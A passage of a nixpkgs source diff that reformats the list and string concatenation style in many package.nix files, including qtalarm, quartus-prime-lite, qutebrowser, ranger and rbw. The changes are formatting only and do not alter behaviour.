-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      installShellCompletion --cmd qrtool \
-        --bash <($out/bin/qrtool --generate-completion bash) \
-        --fish <($out/bin/qrtool --generate-completion fish) \
-        --zsh <($out/bin/qrtool --generate-completion zsh)
-    '';
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd qrtool \
+      --bash <($out/bin/qrtool --generate-completion bash) \
+      --fish <($out/bin/qrtool --generate-completion fish) \
+      --zsh <($out/bin/qrtool --generate-completion zsh)
+  '';
 
   meta = with lib; {
     maintainers = with maintainers; [ philiptaron ];
diff --git a/pkgs/by-name/qt/qtalarm/package.nix b/pkgs/by-name/qt/qtalarm/package.nix
index 67315a676332..f4f078e64dc9 100644
--- a/pkgs/by-name/qt/qtalarm/package.nix
+++ b/pkgs/by-name/qt/qtalarm/package.nix
@@ -25,27 +25,26 @@ stdenv.mkDerivation (finalAttrs: {
     libsForQt5.qtmultimedia
   ];
 
-  installPhase =
-    ''
-      runHook preInstall
-    ''
-    + (
-      if stdenv.hostPlatform.isDarwin then
-        ''
-          mkdir -p $out/Applications
-          mv qtalarm.app $out/Applications
-        ''
-      else
-        ''
-          install -Dm755 qtalarm -t $out/bin
-          install -Dm644 Icons/1349069370_Alarm_Clock.png $out/share/icons/hicolor/48x48/apps/qtalarm.png
-          install -Dm644 Icons/1349069370_Alarm_Clock24.png $out/share/icons/hicolor/24x24/apps/qtalarm.png
-          install -Dm644 Icons/1349069370_Alarm_Clock16.png $out/share/icons/hicolor/16x16/apps/qtalarm.png
-        ''
-    )
-    + ''
-      runHook postInstall
-    '';
+  installPhase = ''
+    runHook preInstall
+  ''
+  + (
+    if stdenv.hostPlatform.isDarwin then
+      ''
+        mkdir -p $out/Applications
+        mv qtalarm.app $out/Applications
+      ''
+    else
+      ''
+        install -Dm755 qtalarm -t $out/bin
+        install -Dm644 Icons/1349069370_Alarm_Clock.png $out/share/icons/hicolor/48x48/apps/qtalarm.png
+        install -Dm644 Icons/1349069370_Alarm_Clock24.png $out/share/icons/hicolor/24x24/apps/qtalarm.png
+        install -Dm644 Icons/1349069370_Alarm_Clock16.png $out/share/icons/hicolor/16x16/apps/qtalarm.png
+      ''
+  )
+  + ''
+    runHook postInstall
+  '';
 
   nativeBuildInputs = [
     qt5.wrapQtAppsHook
diff --git a/pkgs/by-name/qt/qtorganizer-mkcal/package.nix b/pkgs/by-name/qt/qtorganizer-mkcal/package.nix
index 984e5e0f4a83..d1701d6666d0 100644
--- a/pkgs/by-name/qt/qtorganizer-mkcal/package.nix
+++ b/pkgs/by-name/qt/qtorganizer-mkcal/package.nix
@@ -35,15 +35,14 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      mkcal
-    ]
-    ++ (with libsForQt5; [
-      kcalendarcore
-      qtbase
-      qtpim
-    ]);
+  buildInputs = [
+    mkcal
+  ]
+  ++ (with libsForQt5; [
+    kcalendarcore
+    qtbase
+    qtpim
+  ]);
 
   nativeCheckInputs = [
     tzdata
diff --git a/pkgs/by-name/qt/qtox/package.nix b/pkgs/by-name/qt/qtox/package.nix
index a3737ef971d0..68f4663a632a 100644
--- a/pkgs/by-name/qt/qtox/package.nix
+++ b/pkgs/by-name/qt/qtox/package.nix
@@ -59,7 +59,8 @@ stdenv.mkDerivation rec {
     pkg-config
     qt6.qttools
     qt6.wrapQtAppsHook
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ perl ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ perl ];
 
   cmakeFlags = [
     "-DGIT_DESCRIBE=v${version}"
diff --git a/pkgs/by-name/qt/qtscrcpy/package.nix b/pkgs/by-name/qt/qtscrcpy/package.nix
index d9365efac7c7..0f54fe287f2d 100644
--- a/pkgs/by-name/qt/qtscrcpy/package.nix
+++ b/pkgs/by-name/qt/qtscrcpy/package.nix
@@ -63,17 +63,16 @@ stdenv.mkDerivation rec {
     copyDesktopItems
   ];
 
-  buildInputs =
-    [
-      scrcpy
-      # Upstream vendors ffmpeg_4
-      ffmpeg
-    ]
-    ++ (with libsForQt5; [
-      qtbase
-      qtmultimedia
-      qtx11extras
-    ]);
+  buildInputs = [
+    scrcpy
+    # Upstream vendors ffmpeg_4
+    ffmpeg
+  ]
+  ++ (with libsForQt5; [
+    qtbase
+    qtmultimedia
+    qtx11extras
+  ]);
 
   env.NIX_CFLAGS_COMPILE = toString [
     "-Wno-error=sign-compare"
diff --git a/pkgs/by-name/qu/quartus-prime-lite/package.nix b/pkgs/by-name/qu/quartus-prime-lite/package.nix
index 94c3b8c74b04..6322fc3a99b4 100644
--- a/pkgs/by-name/qu/quartus-prime-lite/package.nix
+++ b/pkgs/by-name/qu/quartus-prime-lite/package.nix
@@ -142,38 +142,37 @@ buildFHSEnv rec {
     ln --symbolic --relative --target-directory ./bin ''${progs_wrapped[@]}
   '';
 
-  profile =
-    ''
-      # LD_PRELOAD fixes issues in the licensing system that cause memory corruption and crashes when
-      # starting most operations in many containerized environments, including WSL2, Docker, and LXC
-      # (a similiar fix involving LD_PRELOADing tcmalloc did not solve the issue in my situation)
-      # https://community.intel.com/t5/Intel-FPGA-Software-Installation/Running-Quartus-Prime-Standard-on-WSL-crashes-in-libudev-so/m-p/1189032
-      #
-      # But, as can be seen in the above resource, LD_PRELOADing libudev breaks
-      # compiling encrypted device libraries in Questa (with error
-      # `(vlog-2163) Macro `<protected> is undefined.`), so only use LD_PRELOAD
-      # for non-Questa wrappers.
-      if [ "$NIXPKGS_IS_QUESTA_WRAPPER" != 1 ]; then
-          export LD_PRELOAD=''${LD_PRELOAD:+$LD_PRELOAD:}/usr/lib/libudev.so.0
-      fi
+  profile = ''
+    # LD_PRELOAD fixes issues in the licensing system that cause memory corruption and crashes when
+    # starting most operations in many containerized environments, including WSL2, Docker, and LXC
+    # (a similiar fix involving LD_PRELOADing tcmalloc did not solve the issue in my situation)
+    # https://community.intel.com/t5/Intel-FPGA-Software-Installation/Running-Quartus-Prime-Standard-on-WSL-crashes-in-libudev-so/m-p/1189032
+    #
+    # But, as can be seen in the above resource, LD_PRELOADing libudev breaks
+    # compiling encrypted device libraries in Questa (with error
+    # `(vlog-2163) Macro `<protected> is undefined.`), so only use LD_PRELOAD
+    # for non-Questa wrappers.
+    if [ "$NIXPKGS_IS_QUESTA_WRAPPER" != 1 ]; then
+        export LD_PRELOAD=''${LD_PRELOAD:+$LD_PRELOAD:}/usr/lib/libudev.so.0
+    fi
 
-      # Implement the SOURCE_DATE_EPOCH specification for reproducible builds
-      # (https://reproducible-builds.org/specs/source-date-epoch).
-      # Require opt-in with NIXPKGS_QUARTUS_REPRODUCIBLE_BUILD=1 for now, in case
-      # the blocklist is incomplete.
-      if [ -n "$SOURCE_DATE_EPOCH" ] && [ "$NIXPKGS_QUARTUS_REPRODUCIBLE_BUILD" = 1 ] && [ "$NIXPKGS_QUARTUS_THIS_PROG_SUPPORTS_FIXED_CLOCK" = 1 ]; then
-          export LD_LIBRARY_PATH="${
-            lib.makeLibraryPath [
-              libfaketime
-              pkgsi686Linux.libfaketime
-            ]
-          }''${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}"
-          export LD_PRELOAD=libfaketime.so.1''${LD_PRELOAD:+:$LD_PRELOAD}
-          export FAKETIME_FMT="%s"
-          export FAKETIME="$SOURCE_DATE_EPOCH"
-      fi
-    ''
-    + extraProfile;
+    # Implement the SOURCE_DATE_EPOCH specification for reproducible builds
+    # (https://reproducible-builds.org/specs/source-date-epoch).
+    # Require opt-in with NIXPKGS_QUARTUS_REPRODUCIBLE_BUILD=1 for now, in case
+    # the blocklist is incomplete.
+    if [ -n "$SOURCE_DATE_EPOCH" ] && [ "$NIXPKGS_QUARTUS_REPRODUCIBLE_BUILD" = 1 ] && [ "$NIXPKGS_QUARTUS_THIS_PROG_SUPPORTS_FIXED_CLOCK" = 1 ]; then
+        export LD_LIBRARY_PATH="${
+          lib.makeLibraryPath [
+            libfaketime
+            pkgsi686Linux.libfaketime
+          ]
+        }''${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}"
+        export LD_PRELOAD=libfaketime.so.1''${LD_PRELOAD:+:$LD_PRELOAD}
+        export FAKETIME_FMT="%s"
+        export FAKETIME="$SOURCE_DATE_EPOCH"
+    fi
+  ''
+  + extraProfile;
 
   # Run the wrappers directly, instead of going via bash.
   runScript = "";
diff --git a/pkgs/by-name/qu/quartus-prime-lite/quartus.nix b/pkgs/by-name/qu/quartus-prime-lite/quartus.nix
index 26b95d70a082..bacef122db89 100644
--- a/pkgs/by-name/qu/quartus-prime-lite/quartus.nix
+++ b/pkgs/by-name/qu/quartus-prime-lite/quartus.nix
@@ -95,14 +95,13 @@ stdenv.mkDerivation {
       '';
       copyComponent = component: "cp ${component} $TEMP/${component.name}";
       # leaves enabled: quartus, devinfo
-      disabledComponents =
-        [
-          "quartus_help"
-          "quartus_update"
-          "questa_fe"
-        ]
-        ++ (lib.optional (!withQuesta) "questa_fse")
-        ++ (lib.attrValues unsupportedDeviceIds);
+      disabledComponents = [
+        "quartus_help"
+        "quartus_update"
+        "questa_fe"
+      ]
+      ++ (lib.optional (!withQuesta) "questa_fse")
+      ++ (lib.attrValues unsupportedDeviceIds);
     in
     ''
       echo "setting up installer..."
diff --git a/pkgs/by-name/qu/quickemu/package.nix b/pkgs/by-name/qu/quickemu/package.nix
index 52b0ad3eb7da..5fde689d8351 100644
--- a/pkgs/by-name/qu/quickemu/package.nix
+++ b/pkgs/by-name/qu/quickemu/package.nix
@@ -29,30 +29,29 @@
   installShellFiles,
 }:
 let
-  runtimePaths =
-    [
-      cdrtools
-      curl
-      gawk
-      gnugrep
-      gnused
-      jq
-      pciutils
-      procps
-      python3
-      (qemu.override { smbdSupport = true; })
-      socat
-      swtpm
-      util-linux
-      unzip
-      xrandr
-      zsync
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      mesa-demos
-      usbutils
-      xdg-user-dirs
-    ];
+  runtimePaths = [
+    cdrtools
+    curl
+    gawk
+    gnugrep
+    gnused
+    jq
+    pciutils
+    procps
+    python3
+    (qemu.override { smbdSupport = true; })
+    socat
+    swtpm
+    util-linux
+    unzip
+    xrandr
+    zsync
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    mesa-demos
+    usbutils
+    xdg-user-dirs
+  ];
 in
 
 stdenv.mkDerivation (finalAttrs: {
diff --git a/pkgs/by-name/qu/quill/package.nix b/pkgs/by-name/qu/quill/package.nix
index d1464f0442c3..dd214c8a4789 100644
--- a/pkgs/by-name/qu/quill/package.nix
+++ b/pkgs/by-name/qu/quill/package.nix
@@ -51,14 +51,13 @@ rustPlatform.buildRustPackage rec {
     pkg-config
     protobuf
   ];
-  buildInputs =
-    [
-      openssl
-      udev
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    openssl
+    udev
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   meta = {
     homepage = "https://github.com/dfinity/quill";
diff --git a/pkgs/by-name/qu/quirc/package.nix b/pkgs/by-name/qu/quirc/package.nix
index ef7a6d621fb6..e5fb332a2289 100644
--- a/pkgs/by-name/qu/quirc/package.nix
+++ b/pkgs/by-name/qu/quirc/package.nix
@@ -62,16 +62,15 @@ stdenv.mkDerivation (finalAttrs: {
       | xargs cp -t "$out"/bin
   '';
 
-  postInstall =
-    ''
-      # don't install static library
-      rm $out/lib/libquirc.a
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # Set absolute install name to avoid the need for DYLD_LIBRARY_PATH
-      dylib=$out/lib/libquirc.${finalAttrs.version}.dylib
-      ${stdenv.cc.targetPrefix}install_name_tool -id "$dylib" "$dylib"
-    '';
+  postInstall = ''
+    # don't install static library
+    rm $out/lib/libquirc.a
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # Set absolute install name to avoid the need for DYLD_LIBRARY_PATH
+    dylib=$out/lib/libquirc.${finalAttrs.version}.dylib
+    ${stdenv.cc.targetPrefix}install_name_tool -id "$dylib" "$dylib"
+  '';
 
   meta = {
     description = "Small QR code decoding library";
diff --git a/pkgs/by-name/qu/qutebrowser/package.nix b/pkgs/by-name/qu/qutebrowser/package.nix
index f534654a7fff..7a8083e7c1e6 100644
--- a/pkgs/by-name/qu/qutebrowser/package.nix
+++ b/pkgs/by-name/qu/qutebrowser/package.nix
@@ -50,14 +50,13 @@ python3.pkgs.buildPythonApplication {
   # Needs tox
   doCheck = false;
 
-  buildInputs =
-    [
-      qt6Packages.qtbase
-      glib-networking
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      qt6Packages.qtwayland
-    ];
+  buildInputs = [
+    qt6Packages.qtbase
+    glib-networking
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    qt6Packages.qtwayland
+  ];
 
   build-system = with python3.pkgs; [
     setuptools
@@ -70,7 +69,8 @@ python3.pkgs.buildPythonApplication {
     docbook_xsl
     libxml2
     libxslt
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin desktopToDarwinBundle;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin desktopToDarwinBundle;
 
   dependencies = with python3.pkgs; [
     colorama
@@ -97,15 +97,14 @@ python3.pkgs.buildPythonApplication {
 
   dontWrapQtApps = true;
 
-  postPatch =
-    ''
-      substituteInPlace qutebrowser/misc/quitter.py --subst-var-by qutebrowser "$out/bin/qutebrowser"
+  postPatch = ''
+    substituteInPlace qutebrowser/misc/quitter.py --subst-var-by qutebrowser "$out/bin/qutebrowser"
 
-      sed -i "s,/usr,$out,g" qutebrowser/utils/standarddir.py
-    ''
-    + lib.optionalString withPdfReader ''
-      sed -i "s,/usr/share/pdf.js,${pdfjs},g" qutebrowser/browser/pdfjs.py
-    '';
+    sed -i "s,/usr,$out,g" qutebrowser/utils/standarddir.py
+  ''
+  + lib.optionalString withPdfReader ''
+    sed -i "s,/usr/share/pdf.js,${pdfjs},g" qutebrowser/browser/pdfjs.py
+  '';
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/by-name/ra/raider/package.nix b/pkgs/by-name/ra/raider/package.nix
index f1f662b3906a..c5ce3cee95ce 100644
--- a/pkgs/by-name/ra/raider/package.nix
+++ b/pkgs/by-name/ra/raider/package.nix
@@ -26,19 +26,18 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-X8VIpxOhfvOIf5CYQOBVrC9T6Dhgz/oMIQCaoRch4Oo=";
   };
 
-  nativeBuildInputs =
-    [
-      appstream
-      blueprint-compiler
-      desktop-file-utils
-      meson
-      ninja
-      pkg-config
-      wrapGAppsHook4
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    appstream
+    blueprint-compiler
+    desktop-file-utils
+    meson
+    ninja
+    pkg-config
+    wrapGAppsHook4
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
   buildInputs = [
     gtk4
diff --git a/pkgs/by-name/ra/range-v3/package.nix b/pkgs/by-name/ra/range-v3/package.nix
index 1b5d5caa8e7a..4aeb40c7482c 100644
--- a/pkgs/by-name/ra/range-v3/package.nix
+++ b/pkgs/by-name/ra/range-v3/package.nix
@@ -22,7 +22,8 @@ stdenv.mkDerivation rec {
   # errors (with GCC 9.2):
   cmakeFlags = [
     "-DRANGES_ENABLE_WERROR=OFF"
-  ] ++ lib.optional stdenv.hostPlatform.isAarch64 "-DRANGE_V3_TESTS=OFF";
+  ]
+  ++ lib.optional stdenv.hostPlatform.isAarch64 "-DRANGE_V3_TESTS=OFF";
 
   doCheck = !stdenv.hostPlatform.isAarch64;
   checkTarget = "test";
diff --git a/pkgs/by-name/ra/ranger/package.nix b/pkgs/by-name/ra/ranger/package.nix
index 5017bbd26ac2..6e23227ac948 100644
--- a/pkgs/by-name/ra/ranger/package.nix
+++ b/pkgs/by-name/ra/ranger/package.nix
@@ -33,40 +33,38 @@ python3Packages.buildPythonApplication rec {
     astroid
     pylint
   ];
-  propagatedBuildInputs =
-    [
-      less
-      file
-    ]
-    ++ lib.optionals imagePreviewSupport [ python3Packages.pillow ]
-    ++ lib.optionals sixelPreviewSupport [ imagemagick ]
-    ++ lib.optionals neoVimSupport [ python3Packages.pynvim ]
-    ++ lib.optionals improvedEncodingDetection [ python3Packages.chardet ]
-    ++ lib.optionals rightToLeftTextSupport [ python3Packages.python-bidi ];
+  propagatedBuildInputs = [
+    less
+    file
+  ]
+  ++ lib.optionals imagePreviewSupport [ python3Packages.pillow ]
+  ++ lib.optionals sixelPreviewSupport [ imagemagick ]
+  ++ lib.optionals neoVimSupport [ python3Packages.pynvim ]
+  ++ lib.optionals improvedEncodingDetection [ python3Packages.chardet ]
+  ++ lib.optionals rightToLeftTextSupport [ python3Packages.python-bidi ];
 
-  preConfigure =
-    ''
-      ${lib.optionalString (highlight != null) ''
-        sed -i -e 's|^\s*highlight\b|${highlight}/bin/highlight|' \
-          ranger/data/scope.sh
-      ''}
+  preConfigure = ''
+    ${lib.optionalString (highlight != null) ''
+      sed -i -e 's|^\s*highlight\b|${highlight}/bin/highlight|' \
+        ranger/data/scope.sh
+    ''}
 
-      substituteInPlace ranger/__init__.py \
-        --replace "DEFAULT_PAGER = 'less'" "DEFAULT_PAGER = '${lib.getBin less}/bin/less'"
+    substituteInPlace ranger/__init__.py \
+      --replace "DEFAULT_PAGER = 'less'" "DEFAULT_PAGER = '${lib.getBin less}/bin/less'"
 
-      # give file previews out of the box
-      substituteInPlace ranger/config/rc.conf \
-        --replace /usr/share $out/share \
-        --replace "#set preview_script ~/.config/ranger/scope.sh" "set preview_script $out/share/doc/ranger/config/scope.sh"
-    ''
-    + lib.optionalString imagePreviewSupport ''
-      substituteInPlace ranger/ext/img_display.py \
-        --replace /usr/lib/w3m ${w3m}/libexec/w3m
+    # give file previews out of the box
+    substituteInPlace ranger/config/rc.conf \
+      --replace /usr/share $out/share \
+      --replace "#set preview_script ~/.config/ranger/scope.sh" "set preview_script $out/share/doc/ranger/config/scope.sh"
+  ''
+  + lib.optionalString imagePreviewSupport ''
+    substituteInPlace ranger/ext/img_display.py \
+      --replace /usr/lib/w3m ${w3m}/libexec/w3m
 
-      # give image previews out of the box when building with w3m
-      substituteInPlace ranger/config/rc.conf \
-        --replace "set preview_images false" "set preview_images true"
-    '';
+    # give image previews out of the box when building with w3m
+    substituteInPlace ranger/config/rc.conf \
+      --replace "set preview_images false" "set preview_images true"
+  '';
 
   passthru.updateScript = gitUpdater { rev-prefix = "v"; };
 
diff --git a/pkgs/by-name/ra/rasdaemon/package.nix b/pkgs/by-name/ra/rasdaemon/package.nix
index 27f80748b727..37a55db266c5 100644
--- a/pkgs/by-name/ra/rasdaemon/package.nix
+++ b/pkgs/by-name/ra/rasdaemon/package.nix
@@ -34,19 +34,18 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      libtraceevent
-      (perl.withPackages (
-        ps: with ps; [
-          DBDSQLite
-        ]
-      ))
-      sqlite
-    ]
-    ++ lib.optionals enableDmidecode [
-      dmidecode
-    ];
+  buildInputs = [
+    libtraceevent
+    (perl.withPackages (
+      ps: with ps; [
+        DBDSQLite
+      ]
+    ))
+    sqlite
+  ]
+  ++ lib.optionals enableDmidecode [
+    dmidecode
+  ];
 
   configureFlags = [
     "--sysconfdir=/etc"
diff --git a/pkgs/by-name/ra/rav1e/package.nix b/pkgs/by-name/ra/rav1e/package.nix
index 3b0b7c9fc061..c363d68cd83c 100644
--- a/pkgs/by-name/ra/rav1e/package.nix
+++ b/pkgs/by-name/ra/rav1e/package.nix
@@ -28,19 +28,18 @@ rustPlatform.buildRustPackage rec {
     nasm
   ];
 
-  postPatch =
-    ''
-      # remove feature that requires libgit2 and is only used to print a version string
-      substituteInPlace Cargo.toml --replace-fail '"git_version",' ""
-    ''
-    + lib.optionalString (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) ''
-      # Darwin uses `llvm-strip`, which results in link errors when using `-x` to strip the asm library
-      # and linking it with cctools ld64.
-      substituteInPlace build.rs --replace-fail '.arg("-x")' '.arg("-S")'
+  postPatch = ''
+    # remove feature that requires libgit2 and is only used to print a version string
+    substituteInPlace Cargo.toml --replace-fail '"git_version",' ""
+  ''
+  + lib.optionalString (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) ''
+    # Darwin uses `llvm-strip`, which results in link errors when using `-x` to strip the asm library
+    # and linking it with cctools ld64.
+    substituteInPlace build.rs --replace-fail '.arg("-x")' '.arg("-S")'
 
-      # Thin LTO doesn’t appear to work with Rust 1.79. rav1e fail to build when building fern.
-      substituteInPlace Cargo.toml --replace-fail 'lto = "thin"' 'lto = "fat"'
-    '';
+    # Thin LTO doesn’t appear to work with Rust 1.79. rav1e fail to build when building fern.
+    substituteInPlace Cargo.toml --replace-fail 'lto = "thin"' 'lto = "fat"'
+  '';
 
   checkType = "debug";
 
diff --git a/pkgs/by-name/ra/raylib/package.nix b/pkgs/by-name/ra/raylib/package.nix
index b60d1a9d2f63..d92d2d7542a2 100644
--- a/pkgs/by-name/ra/raylib/package.nix
+++ b/pkgs/by-name/ra/raylib/package.nix
@@ -49,7 +49,8 @@ lib.checkListOfEnum "${pname}: platform"
       # autoPatchelfHook is needed for appendRunpaths
       nativeBuildInputs = [
         cmake
-      ] ++ optional (builtins.length finalAttrs.appendRunpaths > 0) autoPatchelfHook;
+      ]
+      ++ optional (builtins.length finalAttrs.appendRunpaths > 0) autoPatchelfHook;
 
       buildInputs = optional (platform == "Desktop") glfw ++ optional (platform == "SDL") SDL2;
 
@@ -59,14 +60,13 @@ lib.checkListOfEnum "${pname}: platform"
       ];
 
       # https://github.com/raysan5/raylib/wiki/CMake-Build-Options
-      cmakeFlags =
-        [
-          "-DCUSTOMIZE_BUILD=ON"
-          "-DPLATFORM=${platform}"
-        ]
-        ++ optional (platform == "Desktop") "-DUSE_EXTERNAL_GLFW=ON"
-        ++ optional includeEverything "-DINCLUDE_EVERYTHING=ON"
-        ++ optional sharedLib "-DBUILD_SHARED_LIBS=ON";
+      cmakeFlags = [
+        "-DCUSTOMIZE_BUILD=ON"
+        "-DPLATFORM=${platform}"
+      ]
+      ++ optional (platform == "Desktop") "-DUSE_EXTERNAL_GLFW=ON"
+      ++ optional includeEverything "-DINCLUDE_EVERYTHING=ON"
+      ++ optional sharedLib "-DBUILD_SHARED_LIBS=ON";
 
       appendRunpaths = optional stdenv.hostPlatform.isLinux (
         lib.makeLibraryPath (optional alsaSupport alsa-lib ++ optional pulseSupport libpulseaudio)
diff --git a/pkgs/by-name/rb/rbw/package.nix b/pkgs/by-name/rb/rbw/package.nix
index e596d75b0a59..bb8561f7e4d0 100644
--- a/pkgs/by-name/rb/rbw/package.nix
+++ b/pkgs/by-name/rb/rbw/package.nix
@@ -36,7 +36,8 @@ rustPlatform.buildRustPackage rec {
 
   nativeBuildInputs = [
     installShellFiles
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ pkg-config ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ pkg-config ];
 
   buildInputs = [ bash ]; # for git-credential-rbw
 
@@ -45,33 +46,32 @@ rustPlatform.buildRustPackage rec {
     export OPENSSL_LIB_DIR="${lib.getLib openssl}/lib"
   '';
 
-  postInstall =
-    ''
-      install -Dm755 -t $out/bin bin/git-credential-rbw
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      installShellCompletion --cmd rbw \
-        --bash <($out/bin/rbw gen-completions bash) \
-        --fish <($out/bin/rbw gen-completions fish) \
-        --zsh <($out/bin/rbw gen-completions zsh)
-    ''
-    + lib.optionalString withFzf ''
-      install -Dm755 -t $out/bin bin/rbw-fzf
-      substituteInPlace $out/bin/rbw-fzf \
-        --replace fzf ${fzf}/bin/fzf \
-        --replace perl ${perl}/bin/perl
-    ''
-    + lib.optionalString withRofi ''
-      install -Dm755 -t $out/bin bin/rbw-rofi
-      substituteInPlace $out/bin/rbw-rofi \
-        --replace rofi ${rofi}/bin/rofi \
-        --replace xclip ${xclip}/bin/xclip
-    ''
-    + lib.optionalString withPass ''
-      install -Dm755 -t $out/bin bin/pass-import
-      substituteInPlace $out/bin/pass-import \
-        --replace pass ${pass}/bin/pass
-    '';
+  postInstall = ''
+    install -Dm755 -t $out/bin bin/git-credential-rbw
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd rbw \
+      --bash <($out/bin/rbw gen-completions bash) \
+      --fish <($out/bin/rbw gen-completions fish) \
+      --zsh <($out/bin/rbw gen-completions zsh)
+  ''
+  + lib.optionalString withFzf ''
+    install -Dm755 -t $out/bin bin/rbw-fzf
+    substituteInPlace $out/bin/rbw-fzf \
+      --replace fzf ${fzf}/bin/fzf \
+      --replace perl ${perl}/bin/perl
+  ''
+  + lib.optionalString withRofi ''
+    install -Dm755 -t $out/bin bin/rbw-rofi
+    substituteInPlace $out/bin/rbw-rofi \
+      --replace rofi ${rofi}/bin/rofi \
+      --replace xclip ${xclip}/bin/xclip
+  ''
+  + lib.optionalString withPass ''
+    install -Dm755 -t $out/bin bin/pass-import
+    substituteInPlace $out/bin/pass-import \
+      --replace pass ${pass}/bin/pass
+  '';
 
   meta = with lib; {
     description = "Unofficial command line client for Bitwarden";
diff --git a/pkgs/by-name/rc/rc/package.nix b/pkgs/by-name/rc/rc/package.nix
index c4a964fc3699..c0abd60a280a 100644
--- a/pkgs/by-name/rc/rc/package.nix
+++ b/pkgs/by-name/rc/rc/package.nix
@@ -65,13 +65,12 @@ stdenv.mkDerivation (finalAttrs: {
     installShellFiles
   ];
 
-  buildInputs =
-    [
-      ncurses
-    ]
-    ++ lib.optionals readlineSupport [
-      readline
-    ];
+  buildInputs = [
+    ncurses
+  ]
+  ++ lib.optionals readlineSupport [
+    readline
+  ];
 
   strictDeps = true;
 
@@ -83,13 +82,12 @@ stdenv.mkDerivation (finalAttrs: {
     "EDIT=${lineEditingLibrary}"
   ];
 
-  buildFlags =
-    [
-      "all"
-    ]
-    ++ lib.optionals historySupport [
-      "history"
-    ];
+  buildFlags = [
+    "all"
+  ]
+  ++ lib.optionals historySupport [
+    "history"
+  ];
 
   postInstall = lib.optionalString historySupport ''
     installManPage history.1
diff --git a/pkgs/by-name/rc/rclip/package.nix b/pkgs/by-name/rc/rclip/package.nix
index f00054b24a7c..dd51c9af3b17 100644
--- a/pkgs/by-name/rc/rclip/package.nix
+++ b/pkgs/by-name/rc/rclip/package.nix
@@ -43,7 +43,8 @@ python3Packages.buildPythonApplication rec {
 
   nativeCheckInputs = [
     versionCheckHook
-  ] ++ (with python3Packages; [ pytestCheckHook ]);
+  ]
+  ++ (with python3Packages; [ pytestCheckHook ]);
   versionCheckProgramArg = "--version";
 
   disabledTestPaths = [
diff --git a/pkgs/by-name/rc/rcodesign/package.nix b/pkgs/by-name/rc/rcodesign/package.nix
index f9c3ce8e7010..8d1bcecfb011 100644
--- a/pkgs/by-name/rc/rcodesign/package.nix
+++ b/pkgs/by-name/rc/rcodesign/package.nix
@@ -27,22 +27,21 @@ rustPlatform.buildRustPackage rec {
     "--bin=rcodesign"
   ];
 
-  checkFlags =
-    [
-      # Does network IO
-      "--skip=cli_tests"
-      "--skip=ticket_lookup::test::lookup_ticket"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # These tests require Xcode to be installed
-      "--skip=parsed_sdk::test::find_all_sdks"
-      "--skip=simple_sdk::test::find_all_sdks"
-      "--skip=test::find_all_platform_directories"
+  checkFlags = [
+    # Does network IO
+    "--skip=cli_tests"
+    "--skip=ticket_lookup::test::lookup_ticket"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # These tests require Xcode to be installed
+    "--skip=parsed_sdk::test::find_all_sdks"
+    "--skip=simple_sdk::test::find_all_sdks"
+    "--skip=test::find_all_platform_directories"
 
-      # Error: Io(Os { code: 1, kind: PermissionDenied, message: "Operation not permitted" })
-      "--skip=test::find_system_xcode_applications"
-      "--skip=test::find_system_xcode_developer_directories"
-    ];
+    # Error: Io(Os { code: 1, kind: PermissionDenied, message: "Operation not permitted" })
+    "--skip=test::find_system_xcode_applications"
+    "--skip=test::find_system_xcode_developer_directories"
+  ];
 
   # Set up uutils-coreutils for cli_tests. Without this, it will be installed with `cargo install`, which will fail
   # due to the lack of network access in the build environment.
diff --git a/pkgs/by-name/rc/rcu/package.nix b/pkgs/by-name/rc/rcu/package.nix
index 0605e31f57f7..bfb401a83b76 100644
--- a/pkgs/by-name/rc/rcu/package.nix
+++ b/pkgs/by-name/rc/rcu/package.nix
@@ -58,15 +58,14 @@ python3Packages.buildPythonApplication rec {
       --replace-fail '/sbin/ifconfig' 'ifconfig'
   '';
 
-  nativeBuildInputs =
-    [
-      copyDesktopItems
-      protobuf
-      libsForQt5.wrapQtAppsHook
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      desktopToDarwinBundle
-    ];
+  nativeBuildInputs = [
+    copyDesktopItems
+    protobuf
+    libsForQt5.wrapQtAppsHook
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    desktopToDarwinBundle
+  ];
 
   buildInputs = [
     libsForQt5.qtbase
@@ -100,67 +99,65 @@ python3Packages.buildPythonApplication rec {
   # No tests
